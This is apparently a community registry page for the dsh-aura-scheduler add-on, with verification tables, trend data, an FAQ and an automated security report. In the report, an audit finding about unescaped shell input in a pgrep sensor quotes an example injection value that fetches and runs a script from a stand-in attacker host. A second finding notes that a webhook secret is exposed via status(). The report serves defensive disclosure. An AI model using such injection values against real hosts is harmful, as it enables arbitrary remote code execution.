Install verification: Ecosystem app: not installed via dsh plugin add, so the L1-L5 plugin install-verification ladder does not apply; the security scan still runs.Install verification details →
Data as of (UTC)
What it doesAI
Adds proactive scheduling to DeepSeek Harness using Aura heartbeat and a value network.
- Proactive scheduling for DeepSeek Harness
- Uses Aura heartbeat mechanism
- Value network-based decision-making
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
Ecosystem apps are not installable via dsh plugin add: desktop / web shells install or deploy through their own release channel (GitHub Releases or the project site).
The level reads L5 · Ecosystem plugin / L5 · Ecosystem app per the three-way classification (the L1-L5 ladder does not rate them); the security scan still runs.
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
7 samples (roughly every 7 days), 3 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
09-22 → 11-03 · 7 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
10-06 → 11-03 · 5 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
Only 0 points (< 3): no chart yet
no data yet
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
Only 0 points (< 3): no chart yet
no data yet
Verification & Compatibility◼ Ecosystem app
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
| plugin ＼ dsh | dsh 0.1.7-rc.1 | dsh 0.1.7-alpha.2 | dsh 0.1.6-alpha.2 | dsh 0.1.6-alpha.1 | dsh 0.1.5-rc.2 |
|---|---|---|---|---|---|
| fc2b22 | ◼ | ✓ | ✓ | ✓ | ✓ |
| a28c80 | · | · | · | · | · |
fc2b22github✓ 8 runtime-verified◼ 1 ecosystem app2026-09-25
https://github.com/ljsysfurryACE/dsh-aura-scheduler
◼dsh 0.1.7-rc.12026-09-23Ecosystem app
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.7-rc.1 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
This level was not executed in this scan.
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.7-alpha.22026-09-23L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.7-alpha.2 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.22026-09-20L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.6-alpha.2 · profile: l3-fullscan
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.12026-09-17L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-17 · expires: 2026-09-24
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.5-rc.22026-09-11L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.3-alpha.22026-09-09L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-09 · expires: 2026-09-16
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.3-alpha.12026-09-06L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.3-alpha.1 · profile: l4-sandbox
Issued: 2026-09-06 · expires: 2026-09-13
View checks & evidence
active in loader tree (151 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.2-rc.12026-09-05L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler#fc2b22
ID: dsh-aura-scheduler@fc2b22@dsh0.1.2-rc.1 · profile: l3-fullscan
Issued: 2026-09-05 · expires: 2026-09-12
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.2-alpha.12026-09-06L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.2-alpha.1
- • Plugin artifact: github · https://github.com/ljsysfurryACE/dsh-aura-scheduler (version unstated)
ID: dsh-aura-scheduler@fc2b22@dsh0.1.2-alpha.1 · profile: l3-fullscan
Issued: 2026-09-06 · expires: 2026-09-13
View checks & evidence
active in loader tree (149 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
a28c80github2026-08-28
https://github.com/ljsysfurryACE/dsh-aura-scheduler
Ecosystem app: not installed via dsh plugin add (a desktop / web shell) — its level reads L5 · Ecosystem app.
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/dsh-aura-scheduler/?ref=badge)``[](https://www.dsh.so/artifact/dsh-aura-scheduler/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-aura-scheduler/?ref=badge-install)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic medium (authoritative when present) → overall medium.
v0.2.0dsh manifest0.2.0git2026-09-26f9048cd59399version moved onclean · gitVet is an AST static scan (npm artifact or git source).
show static findings (4)
- criticalshellExec · shell
lib/index.js:51exec(`pgrep -f ${JSON.stringify(spec.target)}`, (err, stdout) => { - criticalshellExec · shell
lib/sensors.js:60exec(`pgrep -f ${JSON.stringify(spec.target)}`, (err, stdout) => { - criticalshellExec · shell
src/node-shims.d.ts:9export function exec(cmd: string, cb: (err: Error | null, stdout: string) => void): void - criticalshellExec · shell
src/sensors.ts:78exec(`pgrep -f ${JSON.stringify(spec.target)}`, (err, stdout) => {
show 2 audit findings
- mediumProcess sensor builds a shell command with pgrep and an unescaped target (JSON.stringify is not shell quoting)
lib/sensors.js:60JSON.stringify only produces JSON quoting; inside the resulting double quotes /bin/sh still expands $(...), backticks and ${...}. A sensor entry of kind:'process' with target '$(curl http://attacker/x|sh)' would execute arbitrary commands on the host. Reachability requires control of the plugin configuration (sensors[] is static config validated by SchemaMastery only as strings — no sanitisation), so it is a real precondition, not a remote unauthenticated path; the same code also exists in src/sensors.ts and is inlined in lib/index.js.
- lowstatus() returns the whole config, including webhookSecret, to any caller of ctx.aura.status()
src/index.tsconfig.webhookSecret is the HMAC secret that authenticates webhook triggers (createWebhookHub({ secret: this.config.webhookSecret || undefined })). Any component or tool that can call ctx.aura.status() — e.g. a diagnostics dump or the agent itself — learns that secret, which then lets an attacker forge valid signatures for registered routes and force proactive ticks (rate-limited to 60/min). It also discloses configured sensor paths/URLs.
Config-driven scheduler; only real weakness is a shell-injection-prone pgrep probe and webhook secret exposure via status(); no remote path without config control.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-09-24 · activity: Stable
• Repo created: 2026-08-14
• Stars: ★ 4 · Forks: 0
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is dsh-aura-scheduler?
dsh-aura-scheduler is an ecosystem app listed on dsh.so, not a DSH plugin package: it cannot be installed with dsh plugin add and ships through the project's own release channel.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install dsh-aura-scheduler?
This is an ecosystem app, not a plugin installable via dsh plugin add: desktop / web shells install or deploy through their own release channel. The security scan still runs, but the L1-L5 plugin install ladder does not rate it.
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-10-30 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.